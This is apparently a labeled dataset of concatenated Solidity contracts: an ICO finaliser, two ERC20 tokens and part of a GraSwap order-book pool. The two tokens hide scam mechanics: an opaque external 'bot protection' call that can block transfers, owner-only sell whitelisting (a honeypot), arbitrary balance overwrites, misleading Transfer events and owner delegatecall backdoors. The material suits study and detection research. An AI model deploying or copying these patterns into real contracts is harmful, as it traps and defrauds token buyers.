lockedTokens.addTokens(advisorsTokenWallet, advisorsTokenAmount, now + 365 days);
uint256 teamTokenAmount = safeDiv(safeMul(unmintedTokenAmount, 5), 100);
token.issue(address(lockedTokens), teamTokenAmount);
lockedTokens.addTokens(teamTokenWallet, teamTokenAmount, now + 365 days);
uint256 maketingTokenAmount = safeDiv(safeMul(unmintedTokenAmount, 1), 10);
token.issue(marketingTokenWallet, maketingTokenAmount);
token.finishIssuance();
} else if(now >= SALE_END_TIME) {
fund.enableCrowdsaleRefund();
token.finishIssuance();
}
}
} | 1 | 5,076 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address private botProtection;
address public uniPair;
constructor(address _botProtection) {
botProtection = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract StaterToken is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 100000000000000000000000000;
string public name = "Stater";
string public symbol = "STR";
IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = msg.sender;
uniPair = pairFor(wETH, address(this));
allowance[address(this)][address(uniRouter)] = uint(-1);
allowance[msg.sender][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairFor(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
uniRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 0 | 1,689 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,725 |
pragma solidity 0.6.12;
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
library SafeMath256 {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
struct RatPrice {
uint numerator;
uint denominator;
}
library DecFloat32 {
uint32 public constant MANTISSA_MASK = (1<<27) - 1;
uint32 public constant MAX_MANTISSA = 9999_9999;
uint32 public constant MIN_MANTISSA = 1000_0000;
uint32 public constant MIN_PRICE = MIN_MANTISSA;
uint32 public constant MAX_PRICE = (31<<27)|MAX_MANTISSA;
function powSmall(uint32 i) internal pure returns (uint) {
uint x = 2695994666777834996822029817977685892750687677375768584125520488993233305610;
return (x >> (32*i)) & ((1<<32)-1);
}
function powBig(uint32 i) internal pure returns (uint) {
uint y = 3402823669209384634633746076162356521930955161600000001;
return (y >> (64*i)) & ((1<<64)-1);
}
function expandPrice(uint32 price32) internal pure returns (RatPrice memory) {
uint s = price32&((1<<27)-1);
uint32 a = price32 >> 27;
RatPrice memory price;
if(a >= 24) {
uint32 b = a - 24;
price.numerator = s * powSmall(b);
price.denominator = 1;
} else if(a == 23) {
price.numerator = s;
price.denominator = 1;
} else {
uint32 b = 22 - a;
price.numerator = s;
price.denominator = powSmall(b&0x7) * powBig(b>>3);
}
return price;
}
function getExpandPrice(uint price) internal pure returns(uint numerator, uint denominator) {
uint32 m = uint32(price) & MANTISSA_MASK;
require(MIN_MANTISSA <= m && m <= MAX_MANTISSA, "Invalid Price");
RatPrice memory actualPrice = expandPrice(uint32(price));
return (actualPrice.numerator, actualPrice.denominator);
}
}
library ProxyData {
uint public constant COUNT = 5;
uint public constant INDEX_FACTORY = 0;
uint public constant INDEX_MONEY_TOKEN = 1;
uint public constant INDEX_STOCK_TOKEN = 2;
uint public constant INDEX_GRA = 3;
uint public constant INDEX_OTHER = 4;
uint public constant OFFSET_PRICE_DIV = 0;
uint public constant OFFSET_PRICE_MUL = 64;
uint public constant OFFSET_STOCK_UNIT = 64+64;
uint public constant OFFSET_IS_ONLY_SWAP = 64+64+64;
function factory(uint[5] memory proxyData) internal pure returns (address) {
return address(proxyData[INDEX_FACTORY]);
}
function money(uint[5] memory proxyData) internal pure returns (address) {
return address(proxyData[INDEX_MONEY_TOKEN]);
}
function stock(uint[5] memory proxyData) internal pure returns (address) {
return address(proxyData[INDEX_STOCK_TOKEN]);
}
function graContract(uint[5] memory proxyData) internal pure returns (address) {
return address(proxyData[INDEX_GRA]);
}
function priceMul(uint[5] memory proxyData) internal pure returns (uint64) {
return uint64(proxyData[INDEX_OTHER]>>OFFSET_PRICE_MUL);
}
function priceDiv(uint[5] memory proxyData) internal pure returns (uint64) {
return uint64(proxyData[INDEX_OTHER]>>OFFSET_PRICE_DIV);
}
function stockUnit(uint[5] memory proxyData) internal pure returns (uint64) {
return uint64(proxyData[INDEX_OTHER]>>OFFSET_STOCK_UNIT);
}
function isOnlySwap(uint[5] memory proxyData) internal pure returns (bool) {
return uint8(proxyData[INDEX_OTHER]>>OFFSET_IS_ONLY_SWAP) != 0;
}
function fill(uint[5] memory proxyData, uint expectedCallDataSize) internal pure {
uint size;
assembly {
size := calldatasize()
}
require(size == expectedCallDataSize, "INVALID_CALLDATASIZE");
assembly {
let offset := sub(size, 160)
calldatacopy(proxyData, offset, 160)
}
}
}
interface IGraSwapFactory {
event PairCreated(address indexed pair, address stock, address money, bool isOnlySwap);
function createPair(address stock, address money, bool isOnlySwap) external returns (address pair);
function setFeeToAddresses(address) external;
function setFeeToSetter(address) external;
function setFeeBPS(uint32 bps) external;
function setPairLogic(address implLogic) external;
function allPairsLength() external view returns (uint);
function feeTo_1() external view returns (address);
function feeTo_2() external view returns (address);
function feeToPrivate() external view returns (address);
function feeToSetter() external view returns (address);
function feeBPS() external view returns (uint32);
function pairLogic() external returns (address);
function getTokensFromPair(address pair) external view returns (address stock, address money);
function tokensToPair(address stock, address money, bool isOnlySwap) external view returns (address pair);
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
interface IGraSwapBlackList {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event AddedBlackLists(address[]);
event RemovedBlackLists(address[]);
function owner()external view returns (address);
function isBlackListed(address)external view returns (bool);
function transferOwnership(address newOwner) external;
function addBlackLists(address[] calldata accounts)external;
function removeBlackLists(address[] calldata accounts)external;
}
interface IGraWhiteList {
event AppendWhiter(address adder);
event RemoveWhiter(address remover);
function appendWhiter(address account) external;
function removeWhiter(address account) external;
function isWhiter(address account) external;
function isNotWhiter(address account) external;
}
interface IGraSwapToken is IERC20, IGraSwapBlackList{
function burn(uint256 amount) external;
function burnFrom(address account, uint256 amount) external;
function increaseAllowance(address spender, uint256 addedValue) external returns (bool);
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool);
function batchTransfer(address[] memory addressList, uint256[] memory amountList) external returns (bool);
}
interface IGraSwapERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
interface IGraSwapPool {
event Mint(address indexed sender, uint stockAndMoneyAmount, address indexed to);
event Burn(address indexed sender, uint stockAndMoneyAmount, address indexed to);
event Sync(uint reserveStockAndMoney);
function internalStatus() external view returns(uint[3] memory res);
function getReserves() external view returns (uint112 reserveStock, uint112 reserveMoney, uint32 firstSellID);
function getBooked() external view returns (uint112 bookedStock, uint112 bookedMoney, uint32 firstBuyID);
function stock() external returns (address);
function money() external returns (address);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint stockAmount, uint moneyAmount);
function skim(address to) external;
function sync() external;
}
interface IGraSwapPair {
event NewLimitOrder(uint data);
event NewMarketOrder(uint data);
event OrderChanged(uint data);
event DealWithPool(uint data);
event RemoveOrder(uint data);
function getPrices() external returns (
uint firstSellPriceNumerator,
uint firstSellPriceDenominator,
uint firstBuyPriceNumerator,
uint firstBuyPriceDenominator,
uint poolPriceNumerator,
uint poolPriceDenominator);
function getOrderList(bool isBuy, uint32 id, uint32 maxCount) external view returns (uint[] memory);
function removeOrder(bool isBuy, uint32 id, uint72 positionID) external;
function removeOrders(uint[] calldata rmList) external;
function addLimitOrder(bool isBuy, address sender, uint64 amount, uint32 price32, uint32 id, uint72 prevKey) external payable;
function addMarketOrder(address inputToken, address sender, uint112 inAmount) external payable returns (uint);
function calcStockAndMoney(uint64 amount, uint32 price32) external pure returns (uint stockAmount, uint moneyAmount);
}
abstract contract GraSwapERC20 is IGraSwapERC20 {
using SafeMath256 for uint;
uint internal _unusedVar0;
uint internal _unusedVar1;
uint internal _unusedVar2;
uint internal _unusedVar3;
uint internal _unusedVar4;
uint internal _unusedVar5;
uint internal _unusedVar6;
uint internal _unusedVar7;
uint internal _unusedVar8;
uint internal _unusedVar9;
uint internal _unlocked = 1;
modifier lock() {
require(_unlocked == 1, "GraSwap: LOCKED");
_unlocked = 0;
_;
_unlocked = 1;
}
string private constant _NAME = "GraSwap-Share";
uint8 private constant _DECIMALS = 18;
uint public override totalSupply;
mapping(address => uint) public override balanceOf;
mapping(address => mapping(address => uint)) public override allowance;
function symbol() virtual external override returns (string memory);
function name() external view override returns (string memory) {
return _NAME;
}
function decimals() external view override returns (uint8) {
return _DECIMALS;
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external override returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external override returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external override returns (bool) {
if (allowance[from][msg.sender] != uint(- 1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
}
struct Order {
address sender;
uint32 price;
uint64 amount;
uint32 nextID;
}
struct Context {
bool isLimitOrder;
uint32 newOrderID;
uint remainAmount;
uint32 firstID;
uint32 firstBuyID;
uint32 firstSellID;
uint amountIntoPool;
uint dealMoneyInBook;
uint dealStockInBook;
uint reserveMoney;
uint reserveStock;
uint bookedMoney;
uint bookedStock;
bool reserveChanged;
bool hasDealtInOrderBook;
Order order;
uint64 stockUnit;
uint64 priceMul;
uint64 priceDiv;
address stockToken;
address moneyToken;
address graContract;
address factory;
}
abstract contract GraSwapPool is GraSwapERC20, IGraSwapPool {
using SafeMath256 for uint;
uint private constant _MINIMUM_LIQUIDITY = 10 ** 3;
bytes4 internal constant _SELECTOR = bytes4(keccak256(bytes("transfer(address,uint256)")));
uint internal _reserveStockAndMoneyAndFirstSellID;
uint internal _bookedStockAndMoneyAndFirstBuyID;
uint private _kLast;
uint32 private constant _OS = 2;
uint32 private constant _LS = 3;
function internalStatus() external override view returns(uint[3] memory res) {
res[0] = _reserveStockAndMoneyAndFirstSellID;
res[1] = _bookedStockAndMoneyAndFirstBuyID;
res[2] = _kLast;
}
function stock() external override returns (address) {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+0));
return ProxyData.stock(proxyData);
}
function money() external override returns (address) {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+0));
return ProxyData.money(proxyData);
}
function getReserves() public override view returns (uint112 reserveStock, uint112 reserveMoney, uint32 firstSellID) {
uint temp = _reserveStockAndMoneyAndFirstSellID;
reserveStock = uint112(temp);
reserveMoney = uint112(temp>>112);
firstSellID = uint32(temp>>224);
}
function _setReserves(uint stockAmount, uint moneyAmount, uint32 firstSellID) internal {
require(stockAmount < uint(1<<112) && moneyAmount < uint(1<<112), "GraSwap: OVERFLOW");
uint temp = (moneyAmount<<112)|stockAmount;
emit Sync(temp);
temp = (uint(firstSellID)<<224)| temp;
_reserveStockAndMoneyAndFirstSellID = temp;
}
function getBooked() public override view returns (uint112 bookedStock, uint112 bookedMoney, uint32 firstBuyID) {
uint temp = _bookedStockAndMoneyAndFirstBuyID;
bookedStock = uint112(temp);
bookedMoney = uint112(temp>>112);
firstBuyID = uint32(temp>>224);
}
function _setBooked(uint stockAmount, uint moneyAmount, uint32 firstBuyID) internal {
require(stockAmount < uint(1<<112) && moneyAmount < uint(1<<112), "GraSwap: OVERFLOW");
_bookedStockAndMoneyAndFirstBuyID = (uint(firstBuyID)<<224)|(moneyAmount<<112)|stockAmount;
}
function _myBalance(address token) internal view returns (uint) {
if(token==address(0)) {
return address(this).balance;
} else {
return IERC20(token).balanceOf(address(this));
}
}
function _safeTransfer(address token, address to, uint value, address graContract) internal {
if(value==0) {return;}
if(token==address(0)) {
to.call{value: value, gas: 9000}(new bytes(0));
return;
}
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(_SELECTOR, to, value));
success = success && (data.length == 0 || abi.decode(data, (bool)));
if(!success) {
address graContractOwner = IGraSwapToken(graContract).owner();
(success, data) = token.call(abi.encodeWithSelector(_SELECTOR, graContractOwner, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), "GraSwap: TRANSFER_FAILED");
}
}
function _mintFee(uint112 _reserve0, uint112 _reserve1, uint[5] memory proxyData) private returns (bool feeOn) {
address feeTo_1 = IGraSwapFactory(ProxyData.factory(proxyData)).feeTo_1();
address feeTo_2 = IGraSwapFactory(ProxyData.factory(proxyData)).feeTo_2();
address feeToPrivate = IGraSwapFactory(ProxyData.factory(proxyData)).feeToPrivate();
feeOn = (feeTo_1 != address(0) && feeTo_2 != address(0) && feeToPrivate != address(0));
uint kLast = _kLast;
if (feeOn) {
if (kLast != 0) {
uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
uint rootKLast = Math.sqrt(kLast);
if (rootK > rootKLast) {
uint numerator = totalSupply.mul(rootK.sub(rootKLast)).mul(_OS);
uint denominator = rootK.mul(_LS).add(rootKLast.mul(_OS));
uint liquidity = numerator / denominator;
if (liquidity > 0) {
uint liquidity_p1 = liquidity.div(4);
uint liquidity_p2 = liquidity.div(8);
uint liquidity_p3 = liquidity.mul(5).div(8);
if (liquidity_p1 > 0) {
_mint(feeTo_1, liquidity_p1);
}
if (liquidity_p2 > 0) {
_mint(feeTo_2, liquidity_p2);
}
if (liquidity_p2 > 0) {
_mint(feeToPrivate, liquidity_p3);
}
}
}
}
} else if (kLast != 0) {
_kLast = 0;
}
}
function mint(address to) external override lock returns (uint liquidity) {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+1));
(uint112 reserveStock, uint112 reserveMoney, uint32 firstSellID) = getReserves();
(uint112 bookedStock, uint112 bookedMoney, ) = getBooked();
uint stockBalance = _myBalance(ProxyData.stock(proxyData));
uint moneyBalance = _myBalance(ProxyData.money(proxyData));
require(stockBalance >= uint(bookedStock) + uint(reserveStock) &&
moneyBalance >= uint(bookedMoney) + uint(reserveMoney), "GraSwap: INVALID_BALANCE");
stockBalance -= uint(bookedStock);
moneyBalance -= uint(bookedMoney);
uint stockAmount = stockBalance - uint(reserveStock);
